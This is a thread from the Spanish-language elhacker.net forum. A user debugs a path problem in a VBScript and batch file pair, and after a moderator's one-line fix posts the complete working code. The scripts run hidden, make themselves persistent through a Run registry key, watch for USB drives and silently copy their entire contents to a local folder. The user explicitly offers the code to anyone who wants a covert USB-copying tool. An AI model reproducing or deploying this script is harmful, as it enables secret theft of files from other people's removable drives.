elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 05:20  


Tema destacado: Grupo de Facebook de elhacker.net

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  script vbs con ruta relativa (SOLUCIONADO)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: script vbs con ruta relativa (SOLUCIONADO)  (Leído 1,296 veces)
soyloqbuskas

Desconectado Desconectado

Mensajes: 94


¡El conocimiento es de todos!


Ver Perfil
script vbs con ruta relativa (SOLUCIONADO)
« en: 21 Octubre 2011, 07:14 »

Buenas a todos!
Tengo el siguiente problemilla.....llevo dandole vueltas todo el dia y me tiene un poco loco....

Tengo el siguiente script llamado sys.vbs

set objshell = createobject("wscript.shell")
objshell.run "system.bat",vbhide

Funciona perfectamente, me habre el .bat y hasta aqui todo bien.
El .bat hace una entrada en el registro para que al arrancar windows se inicie el sys.vbs

Y eso es lo que falla....la entrada en el registro esta bien hecha....pero cuando se inicia el sys.vbs da un error en la linea 2 y dice que no encuentra el archivo.....en cambio cuando ejecuto el sys.vbs con un doble click funciona perfectamente..... :$

El caso es que si cambio el script (.vbs) y le pongo la ruta absoluta (rutaAbsoluta\system.bat)   si que funciona cuando arranca windows....por tanto el problema es de la ruta del sys.vbs, pero claro por tema de portabilidad, no me interesa que use ruta absoluta, prefiero la relativa....

¿Hay alguna otra forma de poner la ruta relativa de otra manera?
¿Hay alguna forma de calcular la ruta absoluta para luego concatenar el nombre del fichero?
y la mejor pregunta de todas.....¿porque ocurre esto con la ruta relativa y no con la absoluta?

Nota: he probado con  Environment.CurrentDirectory y con App.Path y no funciona.....imagino que sera porque en un script no estan estas librerias....

Gracias, un saludo!


« Última modificación: 26 Octubre 2011, 13:38 por soyloqbuskas » En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
soyloqbuskas

Desconectado Desconectado

Mensajes: 94


¡El conocimiento es de todos!


Ver Perfil
Re: script vbs con ruta relativa
« Respuesta #1 en: 26 Octubre 2011, 07:22 »

Bueno, por mas vueltas que le doy...no soy capaz de sacar la respuesta....
Con ruta absoluta si que funciona....
Os pongo los script que me funcionan perfectamente (con ruta absoluta claro..):

Scrtipt sys.vbs
set objshell = createobject("wscript.shell")
objshell.run "C:%homepath%\Desktop\log\system.bat",vbhide


Script system.bat

@echo off

REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d C:%homepath%\desktop\log\sys.vbs  /f
:loop
   for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
      xcopy /s %%x C:%homepath%\desktop\log
      if EXIST %%x goto end   
   )
goto loop
:end
exit /b 0


El script sys.vbs ejecuta de manera oculta al script system.bat
El system.bat, hace:
     - una entrada en el registro de inicio de sesion de usuario
     - checkea los puertos usb para detectar memorias extraibles
     - en cuanto detecta un pendrive copia todo su contenido en la carpeta log
     - y finaliza el script
     - cuando el usuario vuelva a iniciar sesion, se volvera a ejecutar todo el proceso

Y asi es como me quedan los script con ruta relativa:

Scrript sys.vbs:
set objshell = createobject("wscript.shell")
objshell.run "system.bat",vbhide


Script system.bat:
@echo off

REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d "%cd%\sys.vbs"  /f
:loop
   for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
      xcopy /s %%x
      if EXIST %%x goto end   
   )
goto loop
:end
exit /b 0


Este 2º modelo de script, funciona con doble click en sys.vbs, pero cuando arranca la sesion no funciona, me da error en la linea 2 del sys.vbs (no puede encontrar el archivo en la ruta especificada :S)
¿como es posible que con doble click si y arrancando desde el reg no?

NOTA: trabajo con windows 7, no se si afecta....pero por si acaso lo aviso...

Gracias a todos, un saludo!


En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
Novlucker
Ninja y
Moderador
***
Desconectado Desconectado

Mensajes: 10.239


Yo que tu lo pienso dos veces


Ver Perfil
Re: script vbs con ruta relativa
« Respuesta #2 en: 26 Octubre 2011, 13:23 »

Recién lo veo :P

Código
Msgbox left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))

Saludos
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
http://twitter.com/novlucker

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

soyloqbuskas

Desconectado Desconectado

Mensajes: 94


¡El conocimiento es de todos!


Ver Perfil
Re: script vbs con ruta relativa
« Respuesta #3 en: 26 Octubre 2011, 13:37 »

Esa simple linea me ha dado la vida! jajaja
Ahora funciona todo perfectamente!

Para quien quiera este script que copia los usb de manera oculta, aqui os dejo el codigo bien hecho y mejorado!

archivo sys.vbs
Código:
set objshell = createobject("wscript.shell")
rutaBat = left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))
rutaSys = rutaBat &"sys.vbs"
rutaBat = rutaBat &"system.bat"
objshell.regWrite "HKCU\software\microsoft\windows\currentversion\run\sys", rutaSys, "REG_SZ"
objshell.run rutaBat,vbhide

archivo system.bat
Código:
@echo off

:loop
for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
xcopy /s %%x
if EXIST %%x goto end
)
goto loop
:end
exit /b 0

Muchisimas gracias Novlucker! ;)
Un saludo!
« Última modificación: 28 Octubre 2011, 17:15 por soyloqbuskas » En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Consulta ruta relativa
Java
athlit 8 3,905 Último mensaje 11 Junio 2010, 18:13
por athlit
script bash (ubuntu): Parar un proceso sin salir del script (SOLUCIONADO)
Scripting
moikano→@ 6 2,733 Último mensaje 28 Octubre 2010, 15:48
por moikano→@
Progressbar relativa al tamaño de un archivo
Programación C/C++
S34Qu4K3 3 1,547 Último mensaje 12 Julio 2011, 23:07
por Karman
Problema script bash ruta de directorio en variable
Scripting
InuKen 4 904 Último mensaje 14 Mayo 2011, 00:46
por Leo Gutiérrez.
Mostrar un contenido mediante ruta relativa
GNU/Linux
lalalalalala 1 226 Último mensaje 8 Febrero 2012, 23:07
por dato000
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines